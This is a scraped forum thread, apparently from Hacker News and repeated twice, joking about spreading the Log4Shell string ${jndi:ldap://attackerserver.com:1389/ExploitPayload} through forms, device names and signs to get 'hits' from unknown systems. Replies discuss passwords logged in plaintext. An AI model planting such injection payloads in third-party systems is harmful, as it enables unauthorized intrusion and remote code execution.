4 ms·

Too much fun to think about the ways to get hits. All it takes is a simple string. Start filling out paper forms with ${jndi:ldap://attackerserver.com:1389/Exp

Too much fun to think about the ways to get hits. All it takes is a simple string. Start filling out paper forms with ${jndi:ldap://attackerserver.com:1389/ExploitPayload} as your name and wait for the responses. It'll get digitized somewhere and it's not like a timeshare condo will have a security team behind the scenes. Rename your computer and wifi network. Telemetry is everywhere, you'll probably get some hits. Naming your phone and Tesla car gets hits. https://www.theverge.com/2021/12/13/22832552/iphone-tesla-sms-log4shell-log4j-exploit-researchers-test https://www.theverge.com/2021/12/13/22832552/iphone-tesla-sm... How about an official name change to the above? Anyone game?

doublepg23 5y ago
My favorite was responding to SMS bots https://twitter.com/infosecatom/status/1469774771634249740?s=21 https://twitter.com/infosecatom/status/1469774771634249740?s...
- dylan604 5y ago
  Just read through some of that. My favorite response: "Is it wrong to use a log4j exploit as a password? I mean, passwords shouldn't be coming anywhere near logging code... right?" How many times have we heard of raw text passwords being saved in logs?
  - heyoni 5y ago
    Only once. At Facebook: https://krebsonsecurity.com/2019/03/facebook-stored-hundreds-of-millions-of-user-passwords-in-plain-text-for-years/ https://krebsonsecurity.com/2019/03/facebook-stored-hundreds...
    - jacquesm 5y ago
      And google: https://www.theverge.com/2019/5/21/18634842/google-passwords-plain-text-g-suite-fourteen-years https://www.theverge.com/2019/5/21/18634842/google-passwords...
      - dylan604 5y ago
        I knew it was definitely more than once. If it gets done at places like FB & G, then you know other smaller places are doing/have done it as well. They just didn't make the news, nor know it isn't a bad thing.
        toyg 5y ago
        I mean, what if we have to troubleshoot an issue that is due to, say, the character encoding of such password? We need to see it, right? (yes, such an issue would likely indicate you're not handling that sort of data in the right way, but fixing that would probably take three weeks and the PM is screaming FIXITNAOO because the customer is on the phone...) (I'm not condoning this, just saying that it can look sensible at the time)
        dylan604 5y ago
        No. Just NO NO NO. Passwords should be treated as sacrosanct. There are other ways of testing encoding. Looking at someone's password should be anathema to anyone. That's like wearing mirrors on your shoes trying to look up places one shouldn't be looking. It's just naughty to the point that any normal person would think it wrong to be doing it. Those kind of requests should actually be reported immediately. Stand up for yourself, for your fellow devs, for 'all humankind' and tell that PM making the request to pound sand (politely). If still pushed, go report them to the next rung up. "Because orders" is not a valid excuse.
        jacquesm 5y ago
        Even for a honeypot?
        dylan604 5y ago
        ugh, now you're going to make me feel dirty for saying maybe are you running honeypot as white hat to attract "bad guys" to then flip the table? if you're a black hat trying to do bad then you already don't care about morals, so the question is pointless.
2sk21 5y ago
Reminds me of old Bobby Tables :-) https://xkcd.com/327/ https://xkcd.com/327/
reaperducer 5y ago
It'll get digitized somewhere I wonder how many surveillance cameras can be borked by walking around in public with this on a sign. Too long for a hat.
jart 5y ago
There needs to be a good catchphrase for your porcupine strategy, like passive offensive security.

doublepg23 5y ago

My favorite was responding to SMS bots https://twitter.com/infosecatom/status/1469774771634249740?s=21 https://twitter.com/infosecatom/status/1469774771634249740?s...

dylan604 5y ago
Just read through some of that. My favorite response: "Is it wrong to use a log4j exploit as a password? I mean, passwords shouldn't be coming anywhere near logging code... right?" How many times have we heard of raw text passwords being saved in logs?
- heyoni 5y ago
  Only once. At Facebook: https://krebsonsecurity.com/2019/03/facebook-stored-hundreds-of-millions-of-user-passwords-in-plain-text-for-years/ https://krebsonsecurity.com/2019/03/facebook-stored-hundreds...
  - jacquesm 5y ago
    And google: https://www.theverge.com/2019/5/21/18634842/google-passwords-plain-text-g-suite-fourteen-years https://www.theverge.com/2019/5/21/18634842/google-passwords...
    - dylan604 5y ago
      I knew it was definitely more than once. If it gets done at places like FB & G, then you know other smaller places are doing/have done it as well. They just didn't make the news, nor know it isn't a bad thing.
      - toyg 5y ago
        I mean, what if we have to troubleshoot an issue that is due to, say, the character encoding of such password? We need to see it, right? (yes, such an issue would likely indicate you're not handling that sort of data in the right way, but fixing that would probably take three weeks and the PM is screaming FIXITNAOO because the customer is on the phone...) (I'm not condoning this, just saying that it can look sensible at the time)
        dylan604 5y ago
        No. Just NO NO NO. Passwords should be treated as sacrosanct. There are other ways of testing encoding. Looking at someone's password should be anathema to anyone. That's like wearing mirrors on your shoes trying to look up places one shouldn't be looking. It's just naughty to the point that any normal person would think it wrong to be doing it. Those kind of requests should actually be reported immediately. Stand up for yourself, for your fellow devs, for 'all humankind' and tell that PM making the request to pound sand (politely). If still pushed, go report them to the next rung up. "Because orders" is not a valid excuse.
        jacquesm 5y ago
        Even for a honeypot?
        dylan604 5y ago
        ugh, now you're going to make me feel dirty for saying maybe are you running honeypot as white hat to attract "bad guys" to then flip the table? if you're a black hat trying to do bad then you already don't care about morals, so the question is pointless.

2sk21 5y ago

Reminds me of old Bobby Tables :-) https://xkcd.com/327/ https://xkcd.com/327/

reaperducer 5y ago

It'll get digitized somewhere I wonder how many surveillance cameras can be borked by walking around in public with this on a sign. Too long for a hat.

jart 5y ago

There needs to be a good catchphrase for your porcupine strategy, like passive offensive security.